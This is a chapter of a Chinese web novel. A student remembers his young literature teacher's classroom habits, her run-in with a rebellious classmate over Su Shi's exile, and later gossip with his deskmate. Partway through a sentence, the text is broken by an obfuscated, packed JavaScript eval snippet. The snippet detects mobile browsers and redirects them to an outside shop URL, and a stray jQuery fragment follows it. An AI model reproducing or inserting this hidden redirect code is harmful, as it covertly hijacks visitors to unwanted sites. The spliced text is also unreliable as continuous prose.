虽然已经从学校毕业了，但每每想到语文老师严蕊棠，纪临灿仍然觉得她在金仓县中教师里是一个神奇的存在。
首先，严蕊棠不怎么拖堂。
在时间就是生命的金仓县中，带高三学生还不拖堂，光是这一点就足以奠定与众不同的画风了。
不管前一秒在讲台上多么激情澎湃，只要铃声一响，严蕊棠就跟关了引擎似的立马熄火，一边嘴里念叨着“好了，今天就讲到这儿吧”一边哐哐哐就三下五除二把桌面上散乱的教材、文具盒和保温杯全部拥到怀里，拔腿就跑。
“严老师，我有个问题。”有人在底下追着喊。
“午休时间来我办公室问，一点半到两点之间。”
话音刚落，蹲守在门口的下一位任课老师就急吼吼冲了进来。
“要上厕所的人快去上厕所，不上的人赶紧把练习册拿出来，别磨磨蹭蹭地杵在这儿浪费时间，先把五十八页的两道题做一下，一会儿对答案。”
纪临灿看到已经起身拿起桌上抽纸盒的前桌犹豫了半秒，随后从书堆里翻出数学课本，哗啦啦翻了几页就放下抽纸盒，悻悻地坐了回去。
虽然严蕊棠不拖堂，但大家好像也没从中享受到什么实际的好处，只是便宜了跟在她后头的老师，不但可以拖堂，还能提前开讲，前后加起来就能多创造二十分钟的边际效益，将近半节课呢。
“啧，”数学老师不满地瞪了一下眼睛，扫了一圈台下的遍野哀鸿，“你们是在帮我学还是帮谁学啊？现在多做一题，到时候多拿两分，沾好处的是你们自己。你说是不是，严老师？”
但没等严老师接茬儿，他就自顾自地朝台下学生继续说道：“你们到时候恐怕谢谢我都来不及。”
“谢谢您咧。”
纪临灿听到有人小声嘟囔了一句，于是不经意间抬起了头，却见已经出了教室门的严蕊棠像倒车一样又退回来一点儿，露出了半边脑袋，目光划过他的前方，“要上厕所的人还不快点儿？”
他看不见前桌的表情，只觉得椅子往后一撞，自己的桌子也跟着晃了一下。黑白相间的校服撷起一阵风，呼啦啦就冲向了大门口。
当老师的不仅啰里八嗦还小气吧啦的，纪临灿已经不记得最初是从哪儿听到这些话的了。乍一看像是武断的偏见，但从个人经验的角度而言，他在很长一段时间里都深以为然。
不过，这在严蕊棠这儿，某些刻板印象似乎悄悄被打破了。
“这个知识点我只讲一遍，所以你们全都给我竖起耳朵听好。”这是她的口头禅之一。
或许因为还是一名资质尚浅的青年教师，在一众得了祥林嫂真传的教师里头，严蕊棠讲课简洁明了得不像话。
这个“一”不是定数，也可能是二和三，但就算是重点画圈儿的考点，她一般也不过重复超过三遍。因此，她的课偶尔还能多出来几分钟的余裕。
纪临灿记得有一节课学《赤壁赋》，讲到了苏轼因乌台诗案被贬黄州。当时，课讲到一半，严蕊棠忽然低头合上了摊在讲台上的教科书，毫无征兆地沉默了几秒，随后抬头直勾勾地盯住了教室的后方。
这是严老师卡壳忘了词，还是教室最后一排小动作不断的捣蛋鬼打乱了节奏？大家不约而同地将目光投向了坐在后排的几人。
纪临灿自认为也不是什么循规蹈矩的三好学生，但还是不自觉地随大流，也跟着朝角落里多瞄了一眼。
被众人行注目礼的人满脸写着不爽，但身体还是很诚实，默默挪开了撑在课桌下方支架上的双腿，同时将后仰倚着墙角的椅子回正，嘴巴也没再继续嚼那块早就没了甜味的口香糖。
虽说是在不受重视的语文课上，但在老师眼皮子底下就这么放肆，确实挺不尊重人的，不知是谁漏出了不满的啧声。
严蕊棠的目光在后排巡逻一圈之后定在了某个人的脸上。“俞照，你觉得苏轼被贬黄州时是什么样的心情？”
俞照在座位上没起身，也不作声，只是定睛望她。
教室里再次安静了几秒。
“需要我提醒吗？”严蕊棠往旁边踱了几步，从讲台上下来了。
俞照微微偏了偏头，蹦豆子一般开了金口，“初期痛苦压抑，中期随遇而安，后期豁达乐观。”
严蕊棠轻轻点头道：“记得很好嘛，考试的时候别忘了就行。”
“这是标准答案吗？”
“如果是一两分的题，这么填基本不会扣分。如果是三分四分的问答，可就不能这么轻飘飘一句话就过去了，至少还要加上分析。在那种情况下，你可以适当地加上自己的分析和简洁，一定记住不要偏离核心。”
“是苏轼他老人家亲口公布的答案吗？”俞照的声音不算高，但也很难被忽略。
“可惜外面是考官的主场，作者本人活了都不行，不服不行。”严蕊棠语气淡淡的，似乎没有生气的意思。
周围响起了一阵哄笑。
“只需要死记硬背，又不费什么脑子，难道不是取巧的好事儿？别跟分数过不去。就算不喜欢，至少也可以变成过河的垫脚石。”
是这么个道理没错，无杠可抬，俞照也没再继续顶嘴。
“午休时间到我办公室来一趟，带上你抽屉里的东西。”严蕊棠敲了敲他的桌子。
“抽屉里没有东西。”
“有。”
“真没有，不信你来翻嘛。”俞照又恢复了之前的坐姿，双脚撑住课桌下方的横梁，身子随椅子后仰，腾出了空间。
和那些一看就不太好惹的铁腕教师相比，走自由放养路线的严蕊棠确实少了些权威，不怎么拖堂、不怎么爹味说教、也不怎么骂人，像一枚软柿子，看着就很好捏。
高三（七）班的大半学生已经跟了严蕊棠两年多，都知道她不是狠角儿。就算面对叛逆的学生，比如像俞照这样不省油的灯，她一般也没什么大动作。只要不影响课堂秩序，她就能睁一只眼闭一只眼，直到熬到下课然后光速走人。
但今天的风向好像不太对。
严蕊棠没有像往常那样翻个无奈的白眼儿就回到讲台上，而是板着一张脸盯了俞照两秒，然后一手按住桌面，另一手就以迅雷不及掩耳之势直捣抽屉。
俞照大概也没想到严蕊棠真的会出手，本来还一副悠哉游哉的大爷模样，瞬间也变了脸，连忙松开椅子坐直，伸手就要去拦严蕊棠。就在快要抓住老师的手腕时，似乎意识到了不妥，又像碰到什么烫手的东西一般火速收了回来。
哗啦一声，严蕊棠从抽屉里掏出了一叠乱七八糟的草稿纸。
眼见着她的眉毛渐渐蹙起，前面的学生下意识抻直了脖子，想要用余光瞄一眼俞照的大作，谁知严蕊棠下一秒就抬高了手，将手里的一叠纸卷了起来。
“我先带回办公室，再慢慢欣赏，你今天午休不用过来了。”
俞照只是张了张嘴，竟然没有提出抗议。
严蕊棠抬头瞄了一眼挂在黑板上方的钟，说道：“好了，正好下课。”
铃声响起，依旧准点下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564636|204679||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
课。
大家的注意力立即就散了，伴随着桌椅拖动的声音，已经有动作快的人几个箭步就冲出了教室，直接和门外的数学老师撞了个满怀。
严蕊棠也回到了讲台上收拾桌面。
纪临灿看到俞照跟了上去，站到了讲台旁。他比严蕊棠高一头，立在台阶下，脑袋就和对方齐平了。
不知是阳光映照角度的问题还是教室太冷，他的鼻尖和耳尖都在光里透着红。
“嘿，你看什么呢？”同桌的班长用胳膊肘撞了撞纪临灿。
纪临灿回过神来，扭头看向陶然，“你刚刚看到什么了？”
“什么都没看到。”陶然顿了顿，“用脚趾头也猜得到，肯定是又偷偷画漫画儿了呗。”
“你俩什么情况？”纪临灿冲讲台的方向努了努嘴。
陶然飞快地向前瞥了一眼，随即垂眸，“没情况。”
“被拒啦？”
“闭嘴！你这么大声干嘛？”陶然心虚地环顾四周，还好前后左右都没人了。
“这有什么不好意思的？”纪临灿若无其事地说道。
“蠢货。”
“怎么还恼羞成怒骂人呢。”
“没骂你，说我自己呢。”
“这才多大点儿事儿啊。”
陶然猛抬头，眯了眯眼，“……你俩不是在合谋耍我吧？想看我笑话？”
纪临灿摇头，“你可别再误伤无辜了。”
陶然满脸写着不耐烦，轻啧一声，“算了，也是我活该，脑子烧坏了才信了你个鬼。”
看来真的受了不小的打击，比想象中严重。这下，纪临灿也不敢再火上浇油戳她了，只得从书架里翻出了数学书。
静默了一分钟，陶然忽地又凑了过来，压低声音，“你说，严老师能看上他？”
“那断然不能啊。”纪临灿没有抬头。
“可他长得好看啊，严老师又是颜控。”
“呵，”纪临灿哑然失笑，“世界上长得好看的人多了去了，难不成个个都要喜欢？”
“哪儿多了去了？好看的男的都是稀有物种好吧。”陶然小声嘀咕。
“你前后左右都被包围了，风水宝地啊。”
“呵，”陶然挤出了一丝奚笑，“帅而自知就显油腻了哈。”
“你是不是傻？”纪临灿一脸无语地看看陶然，再看看讲台，“谁会不自知啊？”
这小子可太知道自己哪个角度最好看了，他心里暗想，硬是将到嘴的话憋了回去。
“不过严老师挺显小的，看着不像比我们大十岁的样子。”
“那也不可能。”
“有什么不可能的？最近不是流行年下吗？”
“你是中毒了吗？他们可是老师和学生啊。”
“那又怎样？我知道的人里面就有学生毕业了去追老师的呀。”
“哪个啊？我们金仓的吗？”
“不是，你又不认识。”
“别又是你在哪儿的新闻里看到的。”
“哎呀，算了，不跟你说了，我们聊不到一块儿去。”陶然低头看向作业本，像是在自言自语，“如果能在毕业前看到严老师的男朋友长什么样儿就好了。”
“为什么？”
“在教室里的人先把上次留的两道题拿出来，相互对一下答案。”数学老师不顾教室里还有奔走的人影，已经提前进入了上课状态。
“啊，惨了，我忘写了！能借我快速抄一下吗？”陶然手忙脚乱地翻了页。